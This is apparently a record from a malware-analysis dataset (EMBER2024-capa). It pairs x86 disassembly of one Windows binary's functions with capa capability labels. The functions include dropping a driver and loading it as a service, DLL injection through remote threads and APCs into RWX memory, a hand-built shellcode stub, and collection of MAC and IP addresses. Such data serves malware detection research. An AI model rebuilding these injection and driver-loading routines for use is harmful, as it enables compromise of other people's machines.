joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a50
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
mov ebp, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebx
cmp ebp, ebx
je 0x403b1e
push esi
movzx eax, ax
push str.RC_DATA
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, ebx
je 0x403b12
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x403b12
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x403b12
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
jbe 0x403b12
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403aef
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x403b12
pop esi
pop edi
mov dword [esp + 8], 1
mov eax, dword [esp + 8]
pop ebp
pop ebx
add esp, 8
ret
push 0
lea ecx, [esp + 0x18]
push ecx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403b0b
mov dword [esp + 0x10], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop edi
pop ebp
pop ebx
add esp, 8
ret
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
Function at 0x403c80
Capabilities:
Get process image filename

Disassembly:
sub esp, 0x418
mov eax, dword [0x487fb0]
xor eax, esp
mov dword [esp + 0x414], eax
mov eax, 1
test byte [0x48f608], al
jne 0x403cc3
or dword [0x48f608], eax
push 0x47dc2c
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x48f604], eax
push ebp
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.00453a00
push 0x206
lea eax, [esp + 0x226]
xor edx, edx
push esi
push eax
mov word [esp + 0x22c], dx
call fcn.00453a00
mov ecx, dword [esp + 0x43c]
add esp, 0x18
push ecx
push esi
push 0x400
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebp, eax
cmp ebp, esi
je 0x403dff
push edi
push 0x210
call fcn.0041206b
push 0x210
mov edi, eax
push esi
push edi
call fcn.00453a00
add esp, 0x10
lea edx, [esp + 0xc]
push edx
push 0x210
push edi
push 0x1b
push ebp
call dword [0x48f604]
test eax, eax
lea eax, [esp + 0x10]
jge 0x403d6e
push 0x104
push eax
push ebp
call sub.PSAPI.DLL_GetProcessImageFileNameW
test eax, eax
jbe 0x403dea
jmp 0x403d7f
movzx ecx, word [edi]
mov edx, dword [edi + 4]
push ecx
push edx
push eax
call fcn.00453d50
add esp, 0xc
push ebx
lea ecx, [esp + 0x21c]
lea ebx, [esp + 0x14]
call fcn.004037f0
test eax, eax
je 0x403de9
lea eax, [esp + 0x21c]
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403da0
sub eax, edx
sar eax, 1
add eax, eax
mov dword [esp + 0x10], eax
add eax, 2
push eax
call fcn.0045188b
mov esi, eax
add esp, 4
test esi, esi
je 0x403de9
mov ebx, dword [esp + 0x10]
lea ecx, [ebx + 2]
push ecx
push 0
push esi
call fcn.00453a00
push ebx
lea edx, [esp + 0x22c]
push edx
push esi
call fcn.00453d50
add esp, 0x18
pop ebx
test edi, edi
je 0x403df7
push edi
call fcn.0045141a
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [esp + 0x41c]
mov eax, esi
pop esi
pop ebp
xor ecx, esp
call fcn.00451380
add esp, 0x418
ret

Function at 0x404920
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x487fb0]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00453a00
add esp, 0xc
lea edx, [esp]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [esp]
push eax
push str._s_virtualhardModule.dll
push 0x48ee98
mov edx, 0x104
call fcn.00401360
add esp, 0xc
push 0x48ee98
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esp + 0x210]
push ecx
call fcn.00403b30
add esp, 4
push 0
test eax, eax
je 0x4049cc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, eax
mov eax, 0x6b
push 0x48ee98
call fcn.00403a50
add esp, 4
test eax, eax
jne 0x4049db
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.00451380
add esp, 0x20c
ret
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, eax
mov eax, 0x6a
jmp 0x4049a6
mov ecx, dword [esp + 0x208]
xor ecx, esp
mov eax, 0x48ee98
call fcn.00451380
add esp, 0x20c
ret
Function at 0x404a00
Capabilities:
Create service
Delete file
Delete service
Get common file path
Start service

Disassembly:
sub esp, 0x428
mov eax, dword [0x487fb0]
xor eax, esp
mov dword [esp + 0x424], eax
push ebx
push ebp
push esi
push edi
xor eax, eax
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x236]
push edx
mov word [esp + 0x1c], ax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov word [esp + 0x2e], ax
mov word [esp + 0x238], cx
call fcn.00453a00
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x3a]
push ecx
mov word [esp + 0x3c], ax
call fcn.00453a00
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004525eb
add esp, 4
xor esi, esi
lea esp, [esp]
call fcn.004525fd
push eax
call fcn.004525eb
add esp, 4
call fcn.004525fd
and eax, 0x8000001f
jns 0x404a9f
dec eax
or eax, 0xffffffe0
inc eax
mov dx, word [eax*2 + 0x4895b8]
mov word [esp + esi*2 + 0x10], dx
inc esi
cmp esi, 8
jl 0x404a80
lea eax, [esp + 0x22c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x230]
push edx
lea eax, [esp + 0x2c]
push str._s_s.sys
push eax
mov edx, 0x104
call fcn.00401360
add esp, 0x10
cmp dword [0x48cc48], 0
push 0
je 0x404b08
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea ecx, [esp + 0x24]
push ecx
mov ecx, eax
mov eax, 0x6d
jmp 0x404b1a
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea edx, [esp + 0x24]
mov ecx, eax
push edx
mov eax, 0x6c
call fcn.00403a50
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
add esp, 4
push 0xf003f
push 0
push 0
call ebx
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x404b9e
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push 3
push 1
push 0xf01ff
lea ecx, [esp + 0x38]
push ecx
mov edx, ecx
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
jne 0x404b81
push 0xf01ff
lea eax, [esp + 0x14]
push eax
push edi
call ebp
mov esi, eax
test esi, esi
je 0x404b97
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test esi, esi
je 0x404b97
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xf003f
push 0
push 0
call ebx
mov edi, eax
test edi, edi
je 0x404be2
push 0xf01ff
lea ecx, [esp + 0x14]
push ecx
push edi
call ebp
mov esi, eax
test esi, esi
je 0x404bdb
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esp + 0x434]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00451380
add esp, 0x428
ret
Function at 0x4051a0
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x78
mov eax, dword [0x487fb0]
xor eax, esp
mov dword [esp + 0x70], eax
push ebx
push esi
push edi
xor edi, edi
push 0x60
lea eax, [esp + 0x1c]
push edi
push eax
mov ebx, ecx
mov esi, edx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
call fcn.00453a00
add esp, 0xc
cmp esi, edi
je 0x405281
cmp ebx, edi
jbe 0x405281
push esi
mov eax, ebx
lea esi, [esp + 0x14]
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x1c], 0x67452301
mov dword [esp + 0x20], 0xefcdab89
mov dword [esp + 0x24], 0x98badcfe
mov dword [esp + 0x28], 0x10325476
call fcn.00406000
mov eax, esi
call fcn.00406110
push 0x21
call fcn.0041206b
mov esi, eax
add esp, 8
xor eax, eax
cmp esi, edi
je 0x405283
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov byte [esi + 0x20], al
mov ebx, esi
jmp 0x405250
movzx ecx, byte [esp + edi + 0x68]
push ecx
push str._02x
push ebx
call fcn.0045261f
inc edi
add esp, 0xc
add ebx, 2
cmp edi, 0x10
jl 0x405250
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x70]
xor ecx, esp
call fcn.00451380
add esp, 0x78
ret
xor eax, eax
mov ecx, dword [esp + 0x7c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00451380
add esp, 0x78
ret
Function at 0x4053c0
Capabilities:
Create process on windows
Create process suspended
Resume thread
Suspend thread
Terminate process

Disassembly:
sub esp, 0x480
mov eax, dword [0x487fb0]
xor eax, esp
mov dword [esp + 0x47c], eax
mov eax, dword [esp + 0x484]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0x40
mov esi, ecx
lea ecx, [esp + 0x38]
push ebx
push ecx
mov edi, edx
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], ebx
call fcn.00453a00
xor eax, eax
add esp, 0xc
push 0x40e
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
lea eax, [esp + 0x7e]
xor edx, edx
push ebx
push eax
mov dword [esp + 0x20], ebx
mov word [esp + 0x84], dx
call fcn.00453a00
add esp, 0xc
cmp esi, ebx
jne 0x405437
xor eax, eax
jmp 0x4055bf
cmp edi, ebx
je 0x405489
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x405440
sub eax, edx
sar eax, 1
je 0x405489
push edi
push esi
lea ecx, [esp + 0x80]
push str.__s___s
push ecx
mov edx, 0x208
call fcn.00405fe0
add esp, 0x10
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x34]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
lea ecx, [esp + 0x98]
push ecx
push ebx
jmp 0x40549c
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x34]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4055bd
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.00404920
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x405430
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [esp + 0x1c]
push str.ntdll.dll
mov dword [esp + 0x28], eax
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ZwWow64ReadVirtualMemory64
push eax
call ebp
test eax, eax
je 0x40553d
push str.kernel32.dll
call ebx
push str.IsWow64Process
push eax
call ebp
mov ebx, eax
test ebx, ebx
je 0x40553d
push esi
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x2c]
push ecx
push eax
call ebx
test eax, eax
je 0x40553d
xor eax, eax
cmp dword [esp + 0x2c], eax
sete al
test eax, eax
je 0x40553d
push esi
mov ecx, edi
call fcn.00410f50
jmp 0x405566
push esi
mov eax, edi
call fcn.004055e0
add esp, 4
test eax, eax
jne 0x405576
mov eax, dword [esp + 0x24]
push edi
push esi
call fcn.004056f0
add esp, 8
test eax, eax
jne 0x405576
push esi
mov eax, edi
call fcn.00405b90
add esp, 4
test eax, eax
jne 0x405576
push esi
call fcn.00405ed0
add esp, 4
mov ebx, eax
test eax, eax
jne 0x40558e
mov edx, dword [esp + 0x14]
push 0x103
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4055bd
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0x28]
test eax, eax
je 0x4055bd
mov edx, dword [esp + 0x1c]
mov dword [eax], edx
mov eax, ebx
mov ecx, dword [esp + 0x48c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00451380
add esp, 0x480
ret
Function at 0x4055e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ecx
push ebx
push ebp
mov ebx, eax
xor ebp, ebp
test ebx, ebx
jne 0x4055ef
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 3
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4056da
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
push eax
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4056d9
push edi
push 0x40
push 0x1000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x4056d1
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405654
sub eax, edx
push 0
sar eax, 1
lea ecx, [eax + eax]
push ecx
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4056bf
mov edx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push edi
push edx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
je 0x4056bf
push 0x1388
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x4056bd
cmp eax, 0xffffffff
je 0x4056bd
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov ebp, dword [esp + 0x10]
jmp 0x4056bf
xor ebp, ebp
push 0x4000
push 0x1000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor ecx, ecx
cmp ecx, ebp
sbb eax, eax
pop ebp
neg eax
pop ebx
pop ecx
ret
Function at 0x4056f0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject apc
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ecx
test byte [0x48f5f8], 1
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
mov dword [esp + 0x10], 0
jne 0x405733
or dword [0x48f5f8], 1
push str.NtTestAlert
push str.ntdll.dll
call edi
push eax
call esi
mov dword [0x48f5f4], eax
test byte [0x48f5f8], 2
jne 0x405757
or dword [0x48f5f8], 2
push str.NtAlertThread
push str.ntdll.dll
call edi
push eax
call esi
mov dword [0x48f5f0], eax
cmp dword [esp + 0x1c], 0
jne 0x405766
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
push ebp
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x405839
test ebx, ebx
jne 0x40578d
push ebp
call fcn.00405300
add esp, 4
mov ebx, eax
push ebx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x405832
push 0x40
push 0x1000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x40582b
mov ebp, dword [esp + 0x1c]
mov eax, ebp
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4057d0
sub eax, edx
push 0
sar eax, 1
add eax, eax
push eax
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40582b
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push edi
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x40582b
push ebx
call dword [0x48f5f0]
mov edx, dword [0x48f5f4]
push 0
push 0
push 0
push edx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [esp + 0x10], 1
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x405a70
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x20
mov eax, dword [0x487fb0]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
mov ebp, dword [esp + 0x2c]
push edi
push 0x40
push 0x3000
mov al, 0x6a
push 0x1000
mov ebx, ecx
mov cl, 0xcc
mov byte [esp + 0x20], al
mov byte [esp + 0x22], al
mov al, 0xff
push 0
push esi
mov byte [esp + 0x29], 0
mov byte [esp + 0x2b], 1
mov byte [esp + 0x2c], 0x68
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], al
mov byte [esp + 0x31], 0xb8
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x34], cl
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], al
mov byte [esp + 0x37], 0xd0
mov byte [esp + 0x38], 0xc2
mov byte [esp + 0x39], 4
mov byte [esp + 0x3a], 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
lea eax, [esp + 0x10]
push eax
push 0x13
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x2a], ebx
push edi
xor ebx, ebx
push esi
mov dword [esp + 0x2d], ebp
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebp, eax
push 0x1388
push ebp
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp + 0xc], eax
cmp eax, 0x102
je 0x405b57
cmp eax, 0xffffffff
je 0x405b57
lea edx, [esp + 0xc]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
jmp 0x405b5b
mov dword [esp + 0xc], ebx
push 0x2000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x28]
xor eax, eax
cmp eax, dword [esp + 0xc]
pop edi
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
neg eax
call fcn.00451380
add esp, 0x20
ret
Function at 0x408000
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
sub esp, 0xc
push esi
push edi
xor edi, edi
push 1
push ebx
mov dword [esp + 0x18], edi
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x408068
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push ebx
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
cmp esi, edi
je 0x408068
push ebp
lea ebp, [esi + 1]
push ebp
call fcn.0041206b
mov edi, eax
add esp, 4
test edi, edi
je 0x408067
push ebp
push 0
push edi
call fcn.00453a00
add esp, 0xc
push 0
push 0
push esi
push edi
push 0xffffffffffffffff
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
pop ebp
lea eax, [esp + 8]
push eax
push 0
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov ecx, dword [esp + 8]
push ecx
call fcn.0041206b
mov edx, dword [esp + 0xc]
push edx
mov esi, eax
push 0
push esi
call fcn.00453a00
add esp, 0x10
lea eax, [esp + 8]
push eax
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
test eax, eax
je 0x40810c
test esi, esi
je 0x4080b8
push esi
call fcn.0045141a
add esp, 4
lea edx, [esp + 0xc]
push edx
push 0
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov eax, dword [esp + 0xc]
push eax
call fcn.0041206b
mov ecx, dword [esp + 0x10]
push ecx
mov esi, eax
push 0
push esi
call fcn.00453a00
add esp, 0x10
lea edx, [esp + 0xc]
push edx
push esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
je 0x408146
test esi, esi
je 0x408190
push esi
call fcn.0045141a
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
add esp, 0xc
ret 4
test esi, esi
je 0x4080b8
mov ecx, dword [esi + 0xc]
push edi
push ecx
call fcn.0045dacb
add esp, 8
test eax, eax
je 0x40812a
mov esi, dword [esi + 8]
test esi, esi
jne 0x408110
jmp 0x4080b8
mov edx, dword [esi + 0x2c]
mov eax, dword [esp + 0x18]
mov dword [eax], edx
mov ecx, dword [esi + 0x30]
pop edi
mov dword [eax + 4], ecx
mov eax, 1
pop esi
add esp, 0xc
ret 4
test esi, esi
je 0x408190
lea ebx, [ebx]
lea eax, [esi + 8]
push edi
push eax
call fcn.0045dacb
add esp, 8
test eax, eax
je 0x408173
mov esi, dword [esi]
test esi, esi
jne 0x408150
mov eax, dword [esp + 0x10]
pop edi
pop esi
add esp, 0xc
ret 4
mov ecx, dword [esi + 0x194]
mov eax, dword [esp + 0x18]
mov dword [eax], ecx
mov edx, dword [esi + 0x198]
mov dword [eax + 4], edx
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x10]
pop edi
pop esi
add esp, 0xc
ret 4
Function at 0x408230
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x960
mov eax, dword [0x487fb0]
xor eax, esp
mov dword [esp + 0x95c], eax
push ebx
push ebp
push esi
push edi
mov ecx, 0x1d1
lea esi, [esp + 0x978]
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x76a]
push ecx
movsb byte es:[edi], byte [esi]
mov word [esp + 0x76c], ax
call fcn.00453a00
mov esi, dword [esp + 0x980]
add esp, 0xc
push esi
push str..mailslot_virtualhardwares
lea edx, [esp + 0x768]
push str._s_d
push edx
mov edx, 0x104
call fcn.00401360
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
lea eax, [esp + 0x778]
push eax
call edi
cmp eax, 0xffffffff
jne 0x4082f1
call fcn.004086c0
test eax, eax
jne 0x4082f8
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x96c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00451380
add esp, 0x960
ret 0x74c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
lea ecx, [esp + 0x778]
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x408335
push 0x32
call ebp
inc ebx
cmp ebx, 0x14
jl 0x408300
mov edi, dword [esp + 0x14]
mov eax, edi
jmp 0x4082d6
mov edx, dword [esp + 0x974]
push 0
lea eax, [esp + 0x18]
push eax
push 0x745
lea ecx, [esp + 0x24]
push ecx
push esi
mov dword [esp + 0x2c], 0x745
mov dword [esp + 0x30], edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
jmp 0x4082d6